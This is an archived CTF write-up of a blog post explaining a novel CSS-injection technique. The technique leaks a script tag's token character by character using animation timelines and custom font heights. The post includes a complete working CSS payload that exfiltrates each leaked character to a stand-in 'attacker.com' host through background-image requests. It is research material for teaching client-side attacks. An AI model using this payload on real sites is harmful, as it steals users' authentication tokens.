

Bench Press: Leaking Text Nodes with CSS

Bench Press: Leaking Text Nodes with CSS - pspaul, @pspaul95, pspaul's blog.

- Published: 2024-10-20
- Original: <<https://blog.pspaul.de/posts/bench-press-leaking-text-nodes-with-css/>>
- Preserved from: <https://blog.pspaul.de/posts/bench-press-leaking-text-nodes-with-css/> (live) on 2026-08-09
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so the page going offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.



Some time ago, while reading up on new CSS features, I asked myself: Is it possible to leak the entire content of an HTML text node only using CSS?

The answer is yes! Well, kinda. I found a technique that generally allows this, but bumps into the limitations of the CSS engine at some point. But I'm getting ahead of myself...

I really liked all the new things I learned about CSS while researching this, so I created a challenge for Hack.lu CTF 2024: [Bench Press](#). In this blog post, I'm going to walk you through the solution as a practical example of my new technique.

The Challenge

The goal of the challenge is to leak an authentication token from a `<script>` tag:

|

```
1
2
3
4
5
6
```

|

```
<!DOCTYPE html>
<html>
<head>

<script nonce="...">t="01b275146755aac26d5b2c7821b7c3"</script>
```

| |

The only interesting thing we can control is the `?theme=` query parameter:

|

```
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
```

|

```

app.get('/articles/:slug', (req, res) => {

  let theme = "";
  if (typeof req.query.theme === 'string') {
    theme = req.query.theme;
    if (theme.includes('</')) {
      theme = '*{color:red}';
    }
  }

  res.render('article', {
    theme,

  });
});

```

| |

The parameter ends up inside a `<style>` tag, giving us CSS Injection!

|

```
<style>{{{theme}}}</style>
```

| |

Cross-checking this with the Content Security Policy (CSP) also looks promising:

- `style-src 'unsafe-inline'`
- we're big fans of inline styles here
- `img-src http: https:`
- remote images are welcome too
- `frame-ancestors 'none'`
- no framing
- `base-uri 'none'`
- no `<base>`
- `form-action 'self'`
- no weird forms
- `default-src 'none'`
- no other stuff (read: no JS)
- `sandbox allow-forms`
- really, really no JS (missing `allow-scripts`)

Our situation now boils down to leaking the content of a text node using only inline styles and remote images.

Current Techniques Won't Work

In such a scenario, there are multiple known CSS Injection techniques that can help stealing data from the DOM. However, none of them fits due to their requirements and limitations. A few examples:

- Recursive `@import` for incremental leaks doesn't work because we can't load remote styles.
- Custom ligature fonts can't be used because remote fonts are blocked.
- Using the "contains" attribute selector to leak data chunks doesn't apply because the token is not inside an attribute.

However, there are some techniques that leak the *charset* of a text node that would fit our conditions:

- [Using default fonts to cause size differences](#)
- [Using default fonts to cause timing differences](#)

Timing side-channels are generally slower and less reliable, so let's go with the size differences and see if we can refine the technique.

Prior Art: Leaking the Charset

To detect the characters present in a text node, the size difference technique iterates over all possible characters. For each of them, a specific font-face is applied that only matches when the current character is included. This is done using the `unicode-range` descriptor.

To detect if the current character is present, the CSS measures the height difference of the text node. If the character is present, then the font applies and makes the text node bigger. This height difference is detected using a scrollbar background image which is only loaded from remote if the scrollbar is shown.

The `::first-line` pseudo selector is used to make only the first line of text visible (`font-size: 30px`) while making the rest of the text invisible (`font-size: 0px`). This avoids that the text wraps around and messes with the node's height that way.

But there's still a problem: If the text node contains duplicate characters, no additional font request is triggered for the second one. For example, if the text is `LOL`, the leak goes like this:

- Make 1 char appear (`L`) and iterate over the possible character fonts
- When checking if there is an `L`, the font applies and makes the text bigger
- The height difference is detected and a request is sent (`attacker.com/L`)
- Make 2 chars appear (`LO`) and iterate over the possible character fonts
- When checking if there is an `L`, the font applies and makes the text bigger
- No request (font already loaded)

- When checking if there is an `O` , the font applies and makes the text bigger
- Font is requested (`attacker.com/O`)
- Make 3 chars appear (`LOL`) and iterate over the possible character fonts
- When checking if there is an `L` , the font applies and makes the text bigger
- No request (font already loaded)
- When checking if there is an `O` , the font applies and makes the text bigger
- No request (font already loaded)

Now we only know that the text begins with `LO` , and that there might be more Ls or more Os in there. This is quite unfortunate for our challenge because the token is a 30-char hex string and will therefore have a lot of duplicates.

So is there a way we can overcome this limitation?

Measuring Height using Animation Timelines

Some day, my team mate [@realansgar](#) sent me this blog post:

[How to Get the Width/Height of Any Element in Only CSS](#)

You should read it to understand how it works under the hood, they have nice visualizations! With the technique described there, we can now measure the height/width of any HTML element and get the size as a number in a CSS variable:

|

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

|

```

@property --y {
  syntax: "<number>";
  initial-value: 0;
  inherits: true;
}
@property --h {
  syntax: "<integer>";
  initial-value: 0;
  inherits: true;
}
@keyframes y {
  to { --y: 1 }
}
script {
  overflow: auto;
  position: relative;
  &:before {
    content: "";
    position: absolute;
    left: 0;
    top: 0;
    height: 1px;
    view-timeline: --cy block;
  }

  animation: y linear;
  timeline-scope: --cy;
  animation-timeline: --cy;
  animation-range: entry 100% exit 100%;

  --h: calc(1/(1 - var(--y)));
}

```

| |

This is a crucial ingredient, as we can now use `calc()` and friends to do **conditional styling based on the text height!**

The Plan

Let's combine the height measurement with the previous technique:

- Make the text element have 1 char per line
- Configure letters to have unique heights
- Iteratively remove/hide more and more characters from the text

- Calculate the height difference between two steps to find which character was removed
- Exfiltrate the letter to our attacker server

Step 1 is straight forward. To have 1 character per line, we can use a monospace font, set a fixed width, and enable line breaking:

|

```
1
2
3
4
5
6
7
```

|

```
script {
  font-family: monospace;

  width: 11px;
  word-break: break-word;
  white-space: break-spaces;
}
```

||

Unique Letter Heights

To give every letter an individual height, we make use of `descent-override` ([MDN](#)):

|

```
1
2
3
4
5
6
7
8
9
```

|

```
@font-face {  
  font-family: has_A;  
  
  src: local('DejaVu Sans Mono');  
  
  unicode-range: U+41;  
  
  descent-override: 200%;  
}
```

| |

By repeating this for all possible characters (in our case hex), we can give each letter an individual height. This will later allow us to map a height difference to a letter.

Iteratively Removing Letters

We can now stack all letters on top of each other and measure the total height. Of course this doesn't help much, so we need to iteratively remove characters and measure the height difference to know which letter it was.

To do this, we borrow another trick from before: `::first-line`. By continuously reducing the font size in the first line of text, more and more characters will fit into the first line. We can also apply a different font to the first line, making its height stay the same regardless of the letters.

Code:

|

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

|

```

@keyframes iterate {
  from { --n: 0 }
  to { --n: 30 }
}

@property --n {
  syntax: '<integer>';
  initial-value: 0;
  inherits: true;
}

script::first-line {

  font-family: base;

  --clamped-n: max(2, var(--n, 2));

  --width-per-char: 6;
  --available-space: 11;
  --space-required: calc(var(--clamped-n) * var(--width-per-char));
  --mult: calc(var(--available-space) / var(--space-required));
  font-size: calc(var(--font-size) * var(--mult));

  line-height: 10px;

  white-space: break-spaces;
}

```

| |

Calculating the Height Difference

To calculate the difference, we need to have both the old and the new value. To do this, we can temporarily cache values using [assignments in animation keyframes](#). While the total height (`--h`) is still the initial value, we apply our `save` animation that caches the value as `--old-h` . In the next iteration, we calculate the difference (`calc(var(--old-h) - var(--h))`). Before hitting the next iteration, we quickly unapply and re-apply the `save` animation to cache the current height.

There's just one problem with this: Animations can't change animation properties! So to re-apply the `save` animation, we use a small indirection via container style queries. A different animation changes the `--do-save` property, a container style query checks the value of that property, and it conditionally applies the `save` animation:

|

1
2
3
4
5
6
7
8
9
10
11
12
13
14

|

```
@keyframes enable-save {  
  0% { --do-save: 'y'; --do-send: 'n' }  
  50% { --do-save: 'y'; --do-send: 'y' }  
  100% { --do-save: 'n'; --do-send: 'n' }  
}  
@keyframes save {  
  from, to { --old-h: var(--h) }  
}  
@container style(--do-save: 'y') {  
  :root > :has(.leak) {  
  
    animation: save var(--time-per-char) 1;  
  }  
}
```

| |

Exfiltrating the Letters

We now have the height difference that corresponds to the individual height of a letter. However, this value is stored as a number, so how can we send it to our server?

We'll make use of one final (also animation-related) trick: [paused animations](#). By changing the delay of a paused animation, we can select different values. We use it to select an exfiltration URL that matches the right letter:

|

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

|

```

script {

  --anim-steps: 64;
  --anim-time: calc(var(--anim-steps) * 1s);
  --anim-delay: calc(var(--char-num) * -1s);
  animation: exfil var(--anim-time) var(--anim-delay) steps(var(--anim-steps), jump-start) infinite paused;

  background-image: image-set(var(--img-bits) 1x);
}
@property --anim-delay {
  syntax: '<time>';
  initial-value: 0s;
  inherits: true;
}
@keyframes exfil {
  0.0000% { --img-bits: '//attacker.com/0' }
  1.5625% { --img-bits: '//attacker.com/1' }
  3.1250% { --img-bits: '//attacker.com/2' }
}

```

| |

Putting It All Together

And that's it! Combining all these steps, we can now leak the content of arbitrary text nodes using only inline CSS (+ remote images for exfiltration). You can find the final payload at the end of this page.

Limitations

Last but not least, we have to talk about the limitations of this technique.

Floating-Point Inaccuracies

Floating-point values are used for two things:

- Calculating the font size of `::first-line`
- Calculating the element's total height

In both cases, the calculations can become inaccurate in Chrome due to the precision of the floats, which breaks the leak. Both the font size and an intermediate value (`--y`) will become so small that the leak will skip some steps because there are values that can't be represented.

This either happens when leaking too many chars, or when the total height of the element becomes too large. This limits the technique, but I'm sure these limits can be bypassed.

Chrome-only (For Now)

Some of the CSS features used are only available in Chromium-based browsers for now:

CSS Feature	Chrome	Firefox	Safari
timeline-scope	>= 116	-	-
view-timeline	>= 115	-	-
animation-timeline	>= 115	-	-
animation-range	>= 115	-	-
descent-override	>= 87	>= 89	-
@container syle(--custom: 1){}	>= 111	-	>= 18

This will likely improve over time, but if you find a more compatible way to achieve the same, let me know!

Local Fonts

Since the technique relies on locally available fonts, it needs to be calibrated accordingly. For the solution of the challenge, I had to check the available fonts, select on of them, and measure the aspect ratio of its characters.

This can probably be done in CSS, at least for a list of common font names, so I might add it to the payload later.

Speed

The maximum leak speed depends on browser animation internals. Increasing the speed too much might lead to skipped animations frames, breaking the leak. It's hard to find a one-fits-all setting but 500ms per char should be safe default.

Summary

What a ride! I find it super interesting what's possible with modern CSS. With the rise of XSS mitigations, both on the app and browser/spec side, CSS becomes a more and more helpful tool for client-side web exploits. Sanitizers like DOMPurify still allow arbitrary styles by default, but maybe that'll change in the future.

I hope you enojoyed this new technique! If you run into problems or find improvements, let me know on [Twitter](#) or [Mastodon](#). I'll release a GitHub repo with all the details and a tool for generating a payload in the coming days.

Final payload

|

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88

89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132

133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176

177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206

|

```

:root {

  --chars: 30;

  --prefix-len: 3;

  --delay: 1s;

  --time-per-char: 500ms;
}

:root {

  --iterations: calc(var(--chars) + 1);

  --n: var(--prefix-len);

  animation:

    iterate    calc(var(--iterations) * var(--time-per-char)) var(--delay) steps(var(--iterations)) 1 forwards,

    enable-save var(--time-per-char)          var(--delay) steps(3, jump-end)    var(--iterations),

    y linear;

  timeline-scope: --cy;
  animation-timeline: auto, auto, --cy;
  animation-range: normal, normal, entry 100% exit 100%;
  --h: calc(1/(1 - var(--y)));

  background: url('//attacker.com/init');
}

* {
  display: none;
}

.leak, :has(.leak) {
  display: block;
}

@keyframes enable-save {
  0% { --do-save: 'y'; --do-send: 'n' }

```

```

50% { --do-save: 'y'; --do-send: 'y' }
100% { --do-save: 'n'; --do-send: 'n' }
}
@keyframes save {
  from, to { --old-h: var(--h) }
}
@container style(--do-save: 'y') {
  :root > :has(.leak) {

    animation: save var(--time-per-char) 1;
  }
}
@container style(--do-send: 'y') {
  .leak {
    background-image: image-set(var(--img-bits) 1x);
  }
}

@property --y {
  syntax: "<number>";
  initial-value: 0;
  inherits: true;
}
@property --h {
  syntax: "<integer>";
  initial-value: 0;
  inherits: true;
}
@keyframes y {
  to { --y: 1 }
}

.leak {
  overflow: auto;
  position: relative;
  &:before {
    content: "";
    position: absolute;
    left: 0;
    top: 0;
    height: 1px;
    view-timeline: --cy block;
  }
}

```

```
text-transform: uppercase;

font-family: f0,f1,f2,f3,f4,f5,f6,f7,f8,f9,fA,fB,fC,fD,fE,fF,base;

--font-size: 10px;
font-size: var(--font-size);

--font-aspect-ratio: calc(602.0520 / 1000);
--width-per-char: calc(var(--font-aspect-ratio) * var(--font-size));

--available-space: calc(2 * var(--width-per-char) - 1px);
width: var(--available-space);

word-break: break-word;

white-space: break-spaces;

--char-num: calc(var(--old-h) - var(--h) - 11 - 8);

--anim-steps: 64;
--anim-time: calc(var(--anim-steps) * 1s);
--anim-delay: calc(var(--char-num) * -1s);
animation: exfil var(--anim-time) var(--anim-delay) steps(var(--anim-steps), jump-start) infinite paused;
}
@property --anim-delay {
  syntax: '<time>';
  initial-value: 0s;
  inherits: true;
}

.leak::first-line {

font-family: base;

--clamped-n: max(2, var(--n, 2));

--width-per-char: 6;
--available-space: 11;
--space-required: calc(var(--clamped-n) * var(--width-per-char));
--mult: calc(var(--available-space) / var(--space-required));
font-size: calc(var(--font-size) * var(--mult));

line-height: 10px;
```

```
white-space: break-spaces;
}
```

```
@property --n {
  syntax: '<integer>';
  initial-value: 0;
  inherits: true;
}
```

```
@keyframes iterate {
  from { --n: var(--prefix-len) }
  to { --n: calc(var(--prefix-len) + var(--iterations)) }
}
```

```
@keyframes exfil {
  0.0000% { --img-bits: '//attacker.com/0' }
  1.5625% { --img-bits: '//attacker.com/1' }
  3.1250% { --img-bits: '//attacker.com/2' }
  4.6875% { --img-bits: '//attacker.com/3' }
  6.2500% { --img-bits: '//attacker.com/4' }
  7.8125% { --img-bits: '//attacker.com/5' }
  9.3750% { --img-bits: '//attacker.com/6' }
  10.9375% { --img-bits: '//attacker.com/7' }
  12.5000% { --img-bits: '//attacker.com/8' }
  14.0625% { --img-bits: '//attacker.com/9' }
  15.6250% { --img-bits: '//attacker.com/A' }
  17.1875% { --img-bits: '//attacker.com/B' }
  18.7500% { --img-bits: '//attacker.com/C' }
  20.3125% { --img-bits: '//attacker.com/D' }
  21.8750% { --img-bits: '//attacker.com/E' }
  23.4375% { --img-bits: '//attacker.com/F' }
  25.0000% { --img-bits: '//attacker.com/unknown' }
}
```

```
@font-face{font-family:base;src:local('DejaVu Sans Mono')}
```

```
@font-face{font-family:f0;src:local('DejaVu Sans Mono');unicode-range:U+30;descent-override:100%}
```

```
@font-face{font-family:f1;src:local('DejaVu Sans Mono');unicode-range:U+31;descent-override:110%}
```

```
@font-face{font-family:f2;src:local('DejaVu Sans Mono');unicode-range:U+32;descent-override:120%}
```

```
@font-face{font-family:f3;src:local('DejaVu Sans Mono');unicode-range:U+33;descent-override:130%}
```

```
@font-face{font-family:f4;src:local('DejaVu Sans Mono');unicode-range:U+34;descent-override:140%}
```

```
@font-face{font-family:f5;src:local('DejaVu Sans Mono');unicode-range:U+35;descent-override:150%}
```

```
@font-face{font-family:f6;src:local('DejaVu Sans Mono');unicode-range:U+36;descent-override:160%}
```

```
@font-face{font-family:f7;src:local('DejaVu Sans Mono');unicode-range:U+37;descent-override:170%}
```

```
@font-face{font-family:f8;src:local('DejaVu Sans Mono');unicode-range:U+38;descent-override:180%}
```

```
@font-face{font-family:f9;src:local('DejaVu Sans Mono');unicode-range:U+39;descent-override:190%}  
@font-face{font-family:fA;src:local('DejaVu Sans Mono');unicode-range:U+41;descent-override:200%}  
@font-face{font-family:fB;src:local('DejaVu Sans Mono');unicode-range:U+42;descent-override:210%}  
@font-face{font-family:fC;src:local('DejaVu Sans Mono');unicode-range:U+43;descent-override:220%}  
@font-face{font-family:fD;src:local('DejaVu Sans Mono');unicode-range:U+44;descent-override:230%}  
@font-face{font-family:fE;src:local('DejaVu Sans Mono');unicode-range:U+45;descent-override:240%}  
@font-face{font-family:fF;src:local('DejaVu Sans Mono');unicode-range:U+46;descent-override:250%}
```

| |

Archived from <https://blog.pspaul.de/posts/bench-press-leaking-text-nodes-with-css/>. Rendered offline from the local Markdown copy.